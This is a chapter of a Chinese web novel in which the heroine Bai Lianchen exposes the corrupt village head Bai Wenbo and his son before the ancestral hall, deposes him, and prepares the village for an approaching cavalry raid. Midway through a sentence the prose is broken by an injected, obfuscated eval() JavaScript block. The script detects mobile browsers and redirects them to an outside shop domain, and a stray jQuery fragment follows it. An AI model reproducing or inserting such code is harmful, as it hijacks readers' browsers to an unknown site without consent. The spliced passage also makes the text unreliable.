白练尘走到祠堂前,转身,面向陆续聚拢过来的村民。夕阳将她的影子拉得很长,投在青石台阶上。她看着一张张或惶恐、或犹豫、或期待的脸,看着站在石头上还在煽动的白文博,看着远处被毁的工地,看着更远处隐隐浮现的山脊轮廓。风吹过祠堂前的旗杆,旗子猎猎作响。她深吸一口气,空气里有泥土的味道,有汗水的味道,还有一股紧绷的、一触即发的味道。然后,她开口,声音不大,却清晰地传到每个人耳朵里:“所有人,祠堂前集合。现在。”
人群安静了一瞬。
白文博站在石头上,居高临下地看着她,嘴角扯出一丝冷笑:“怎么,白练尘,你还要说什么?现在认错还来得及,只要你主动离开村子,我们……”
“闭嘴。”白练尘打断他,声音平静,却带着不容置疑的力度,“白文博,你站那么高,不累吗?下来,站到大家中间来。今天,我们当着祖宗牌位,把话说清楚。”
白文博脸色一僵。
白练尘不再看他,转向村民。她的目光扫过每一张脸,从最前排的白老爹、王氏,到中间的赵铁匠、白大山,再到后面那些眼神躲闪、被白文博煽动的人。
“大家先别急着吵。”她说,声音提高了一些,“在决定把我交出去之前,我想请大家先看看,看看我们白家村这几个月,到底发生了什么。”
她抬起手,指向村西方向。
“那边,新盖的粮仓,大家看到了吗?”她问,“里面存着多少粮食?去年这个时候,我们村子的粮仓里,有多少存粮?谁能告诉我?”
人群沉默。
有人低声说:“去年……去年粮仓是空的。”
“对,空的。”白练尘点头,“去年秋收,交了税,剩下的粮食,只够吃到开春。开春之后呢?挖野菜,啃树皮,饿得眼睛发绿。今年呢?现在才刚入秋,我们的新粮仓里,存了多少?白大山,你是管粮仓的,你告诉大家。”
白大山从人群中站出来,挺直腰板:“新粮仓存粮,按人头算,够全村人吃到明年夏收,还有富余!”
人群里响起一阵低低的吸气声。
“还有房子。”白练尘指向村东,“这几个月,我们盖了多少新房子?二十三家!二十三家原本住着漏雨茅屋的人家,现在住进了土坯房,冬暖夏凉。谁家盖的?是我们大家一起,出工出力盖的!材料钱从哪里来?是我们一起种快菜、编竹器、做熏肉,卖出去换来的!”
她顿了顿,目光扫过人群:“白三叔,你家房子盖好了吧?住进去感觉怎么样?”
人群中,一个中年汉子红着脸站出来:“盖、盖好了……比原来那破屋子强多了,下雨不漏,刮风不晃,我娘夜里能睡个安稳觉了。”
“李婶子,你家呢?”
一个妇人抹了抹眼睛:“我家也盖好了……我男人走得早,以前带着两个孩子住那个破棚子,冬天冻得孩子直哭。现在……现在好了……”
白练尘点点头,又指向村口:“那些土墙,那些瞭望塔,那些训练场。谁建的?是我们自己!谁在训练?是我们的护村队!栓子,铁蛋,他们现在在哪里?在县衙大牢里!为什么?因为他们保护了村子,因为他们听我的命令,拦住了要强行搜查的差役!他们被抓走了,他们的娘在哭,他们的家人担心。可他们做错了什么?他们只是在保护自己的家!”
她的声音陡然提高,带着一股压抑的怒火:“白文博刚才说,以前我们村子安稳。是,安稳!安稳到年年挨饿,安稳到房子漏雨不敢修,安稳到蛮子来了只能往山里逃,安稳到县衙的胥吏来了,我们连个屁都不敢放,只能乖乖把最后一点粮食交出去!这就是他说的安稳!”
她转身,直视白文博:“白文博,你当村正那些年,村子里过的是什么日子?你告诉大家!”
白文博脸色铁青:“你、你胡说八道!我当村正的时候,村子……”
“村子穷得叮当响!”白练尘厉声打断,“你当村正十年,村子修过一条路吗?盖过一间新房吗?存过一粒余粮吗?没有!你只会收大家的孝敬,只会巴结县衙的胥吏,只会把村里的好处往自己口袋里装!去年冬天,白三叔家的孩子饿得哭,找你借粮,你怎么说的?‘没有,自己想办法’!可你家的粮仓里,堆满了陈粮!”
“你血口喷人!”白文博气得浑身发抖。
“血口喷人?”白练尘冷笑,从怀里掏出一卷纸,“大家看看,这是什么?”
她展开纸张,上面密密麻麻写着字,还按着红手印。
“这是去年冬天,村里七户人家找你借粮的借据!”她举起纸张,让所有人都能看到,“白三叔借三斗,李婶子借两斗,王老伯借五斗……利息是多少?借一斗,还两斗!春借秋还,还不上就拿地抵!这就是你白文博当村正时干的好事!”
人群哗然。
那些按了手印的人,脸色瞬间惨白。
白文博额头冒出冷汗:“那、那是他们自愿的!借粮还粮,天经地义!”
“天经地义?”白练尘眼神更冷,“好,那我们再说说别的。”
她又从怀里掏出一张纸,这张纸更旧,边缘已经发黄。
“这是三个月前,白福偷偷去找王二狗时,我让人记下的。”她展开纸,上面写着日期、地点、见面时长,“三个月前,腊月十八,白福在镇上的‘悦来客栈’,跟王二狗见了面,聊了半个时辰。聊了什么?我不知道。但我知道,从那之后,王二狗就开始盯着我们村子,开始找我们的麻烦。”
她看向白福。
白福站在白文博身后,脸色煞白,嘴唇哆嗦。
“白福,你敢说没有?”白练尘问。
“我、我……”白福支支吾吾。
“还有。”白练尘又掏出一块碎布,布上沾着泥土,“这是快菜田第一次被人破坏时,我在田埂边捡到的。这块布的料子,跟白福你去年做的那件新褂子,一模一样。需要我拿出来比对吗?”
白福腿一软,差点跪倒。
白文博一把扶住儿子,厉声道:“一块破布能说明什么?说不定是你自己扔的,栽赃陷害!”
“栽赃陷害?”白练尘笑了,笑容里没有一丝温度,“白文博,你儿子白福,三个月前见王二狗,快菜田被破坏时留下证据,今天王二狗带人来搜查,你儿子第一时间就躲在家里不出来。现在,蛮子的探子刚出现,你就跳出来煽动大家把我交出去。这一桩桩,一件件,是巧合吗?”
她往前一步,声音如冰:“不是巧合!是你,白文博,和你儿子白福,早就跟王二狗勾结在一起!你们吃里扒外,想把村子搞乱,想把我赶走,好重新掌控村子,继续吸大家的血!”
“你胡说!”白文博嘶吼,“大家别听她的!她在挑拨离间!”
“我挑拨离间?”白练尘转身,面向祠堂,扑通一声跪下。
所有人都愣住了。
她跪得笔直,对着祠堂里密密麻麻的牌位,朗声道:“白家列祖列宗在上,不肖子孙白练尘,今日在此,揭发村正白文博、其子白福,勾结外人,破坏村产,煽动内乱,意图祸害全村之罪!若有半句虚言,天打雷劈,不得好死!”
誓言在祠堂前回荡。
夕阳的光照在她背上,给她镀上一层金边。
寂静。
死一般的寂静。
然后,赵铁匠第一个站出来,粗着嗓子吼道:“我信尘丫头!白文博,你个老王八蛋,去年我找你借铁打农具,你非要收我三倍的钱!要不是尘丫头带着大家开铁匠铺,我现在还得看你脸色!”
白大山第二个站出来:“我也信尘丫头!白文博当村正那些年,我家饿死过两个人!我爹,我妹妹!都是饿死的!尘丫头来了之后,我家才吃饱饭,才住上新房子!谁想动尘丫头,先从我尸体上踏过去!”
栓子娘从人群里冲出来,哭喊着:“我家栓子被官府抓走了!他是为了保护村子!白文博,你儿子躲在家里当缩头乌龟,你还想把我家栓子害死的人交出去?你还有没有良心!”
铁蛋爹也站出来,眼睛通红:“我儿子也在大牢里!白文博,你今天不把话说清楚,我跟你拼了!”
一个,两个,三个……
越来越多的人站出来。
那些原本被煽动的人,看着白文博父子惨白的脸,看着白练尘跪得笔直的背影,看着祠堂里沉默的牌位,心里的天平,慢慢倾斜。
“白文博……你真的跟王二狗勾结了?”
“快菜田是你儿子破坏的?”
“你想把尘丫头赶走,重新当村正?”
质问声,一声接一声。
白文博后退一步,后背撞在石头上。
他儿子白福,已经瘫坐在地上,浑身发抖。
白练尘站起身,拍了拍膝盖上的土。她转身,看向白文博,眼神里没有任何情绪。
“白文博,你还有什么话说?”
白文博张了张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653954|205346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嘴,想说什么,却发不出声音。
他的目光扫过人群,扫过那些曾经对他恭敬、现在却充满怀疑和愤怒的脸。他知道,他完了。
白练尘不再看他,转向村民。
“按照村规族约第三条:村正若勾结外人,祸害本村,经查实,即刻罢免,永不得再任。”她声音清晰,“第十一条:破坏公产,损毁村物者,视情节轻重,罚劳役或赔偿。白文博勾结王二狗,证据确凿,罢免村正之位。白福破坏快菜田,证据确凿,罚劳役三个月,修复所有被毁设施,并赔偿损失。”
她顿了顿,补充道:“村规族约,我上个月已经请白老爹、赵铁匠、白大山等几位长辈一起修订过,在祠堂有备案。大家有疑问,可以随时查看。”
人群安静。
没有人有疑问。
白练尘看向白文博:“白文博,你服不服?”
白文博脸色灰败,嘴唇哆嗦了半天,最终,颓然低下头。
“服……我服……”
“好。”白练尘点头,“那么,从此刻起,白文博不再是白家村村正。新村正,由全村人公推,三日后,在祠堂前投票决定。”
她看向众人:“现在,先把白福带下去,关进祠堂偏房,明日开始劳役。白文博……暂时回家,不得离开村子,等候发落。”
几个护村队员上前,架起瘫软的白福,拖向祠堂。
白文博站在原地,像一尊石像。
夕阳的光,把他的影子拉得很长,很长。
人群渐渐安静下来。
白练尘看着大家,声音放缓:“我知道,大家害怕。官府来搜查,蛮子探子出现,栓子铁蛋被抓走……这些事,一件接一件,谁都慌。但慌有用吗?没有用。我们越慌,敌人越高兴。我们越乱,敌人越容易得手。”
她顿了顿,目光扫过每一张脸:“白家村是我们的家。这个家,是我们一砖一瓦建起来的,是我们一滴汗一滴汗换来的。有人想毁掉它,有人想夺走它。我们能答应吗?”
“不答应!”赵铁匠吼道。
“不答应!”白大山跟着喊。
“不答应!”越来越多的人喊起来。
声音汇聚在一起,在祠堂前回荡。
白练尘点点头:“对,不答应。所以,从现在起,我们要更团结,更警惕。护村队加强巡逻,瞭望塔十二时辰有人值守,老弱妇孺集中到最坚固的房子里,粮食、武器、药品,全部清点备好。我们做好准备,不管来的是官府,还是蛮子,我们都不怕。”
她的声音坚定,带着一种让人安心的力量。
“只要我们团结,白家村,就垮不了。”
人群里,有人抹眼泪,有人握紧拳头,有人重重点头。
刚才的恐慌、分裂、争吵,在这一刻,被一种更强大的东西压了下去——那是求生的意志,是守护家园的决心。
白练尘看着大家重新凝聚的眼神,心里稍微松了松。
但只是一瞬。
因为就在这时——
“铛!铛!铛!铛!铛!”
急促的钟声,从村口的瞭望塔上传来!
一声接一声,又快又急,像一把锤子,狠狠砸在每个人的心上!
所有人都愣住了,抬头望向村口。
瞭望塔上,负责瞭望的护村队员拼命敲钟,一边敲,一边朝下面嘶吼:“北边!北边!烟尘!好多烟尘!是骑兵!苍狼部的骑兵!至少……至少几十骑!朝村子来了!”
话音落下,死寂。
然后,恐慌,像瘟疫一样,瞬间蔓延。
“几十骑……”
“上次才五骑……”
“完了……完了……”
“快跑啊!”
有人转身就想跑。
“站住!”白练尘厉喝一声。
她的声音,像一道惊雷,劈开了混乱。
所有人都停下,看向她。
白练尘站在原地,脸色凝重,但眼神依旧冷静。她抬头,望向北方的天空——那里,地平线上,已经能看到一道滚滚的烟尘,像一条黄色的巨龙,正朝着村子,疾驰而来。
烟尘之下,隐约能听到马蹄声。
沉闷,密集,越来越近。
大地,似乎在微微震动。
白练尘深吸一口气,转身,面向村民。
她的声音,清晰,坚定,不容置疑。
“所有人,按预案行动。”